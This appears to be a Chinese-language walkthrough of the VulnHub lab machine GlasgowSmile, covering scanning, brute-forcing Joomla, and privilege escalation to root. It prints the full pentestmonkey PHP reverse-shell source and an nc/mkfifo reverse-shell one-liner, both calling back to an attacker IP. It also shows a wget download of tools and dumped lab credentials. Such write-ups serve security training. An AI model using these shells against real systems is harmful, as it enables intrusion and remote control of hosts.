VulnHub靶机 | GlasgowSmile

"人生若只如初见，何事秋风悲画扇"

项目地址
http://www.vulnhub.com/entry/glasgow-smile-11,491/

复现过程：

主机发现：

nmap -sP 192.168.124.1/24         #ping扫描

IP地址为192.168.124.131

端口探测

nmap -sV -sC -p 1-65535 192.168.124.131    #-sV 版本探测 -SC 等效于 --script=defult

检测到80端口开放，访问80端口

python3 dirsearch.py -e "*" -u "192.168.124.131"

joomla是开源内容管理系统，以PHP编写，用于在网路上发布内容。

探测CMS版本

./CMSeek.py -u "192.168.124.131/joomla"

EXP 找了，目录也扫描了，也没任何有用资料，那么只能试试爆破了

选择爆破

http://192.168.124.131/joomla/administrator/index.php

用户名用 joomla 生成一个字典

cewl http://192.168.124.131/joomla -m 5 -d 1 -w joker.txt

账号
joomla


密码

Gotham

Getshell

payload:
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);

$VERSION = "1.0";

$ip = '192.168.124.129';

$port = 4444;

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; sh -i';

$daemon = 0;

$debug = 0;

if (function_exists('pcntl_fork')) {

$pid = pcntl_fork();

if ($pid == -1) {

printit("ERROR: Can't fork");

exit(1);

}

if ($pid) {

exit(0); // Parent exits

}

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");exit(1);

}

$daemon = 1;

} else {

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}

chdir("/");

umask(0);

// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

printit("$errstr ($errno)");

exit(1);

}

$descriptorspec = array(

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w"), // stdout is a pipe that the child will write to

2 => array("pipe", "w") // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");

exit(1);

}

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

if (feof($sock)) {

printit("ERROR: Shell connection terminated");

break;

}

if (feof($pipes[1])) {

printit("ERROR: Shell process terminated");

break;

}

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

}

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

fwrite($sock, $input);

}

if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

fwrite($sock, $input);

}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

function printit ($string) {

if (!$daemon) {

print "$string\n";

}

}

?>

然后访问 payload 地址

http://192.168.124.131/joomla/index.php

nc -lvp 4444

提权

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl+z
stty -a
stty raw -echo;fg
reset
stty rows x columns y

躲在幕后的人

数据库账号：joomla
数据库密码：babyjoker

查下端口，使用shell窗口连接数据库

mysql -ujoomal -pbabyjoker
show databases;
use batjoke;
show tables;
select * from taskforce;

对rob密码进行解密

账号：rob 密码：???AllIHaveAreNegativeThoughts???

权限提升

使用rob账号进行ssh登录

查看文件

使用ROT13解密，当偏移量为1时

解密最后类似base64加密的字符串

I33hope99my0death000makes44more8cents00than0my0life0

用户名：abner
密码：I33hope99my0death000makes44more8cents00than0my0life0

查看文件

是对Glasgow smile的介绍，全盘搜索与penguin用户相关的文件：

find / -iname penguin 2>/dev/null

发现隐藏文件，查看文件详情

ls -al /var/www/joomla2/administrator/manifests/files/

属于abner的隐藏压缩文件，负责到用户主目录进行解压：

cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip

利用abner的登录凭证解压：I33hope99my0death000makes44more8cents00than0my0life0

账号：penguin
密码：scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

权限提升root

结合文件内容，发现.trash_old属于用户penguin,root组并且任何人都可执行。

利用pspy对系统进程进行监控，以及对用户命令的执行进行枚举：

#项目地址
github:https://github.com/DominicBreuker/pspy

在pspy目录下启动python http服务：

python3 -m http.server 9000

靶机通过wget下载pspy64：


wget http://192.168.124.129:9000/pspy64 -O pspy64

靶机给文件执行权限

chmod +x pspy64 && ./pspy64 -p -i 1000

vi .trash_old
删除 exit 0
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.124.129 4444>/tmp/f

VulnHub靶机 | GlasgowSmile

复现过程：

主机发现：

端口探测

探测CMS版本

Getshell

提权

权限提升

权限提升root

拿到root权限

axinyi

axinyi&qi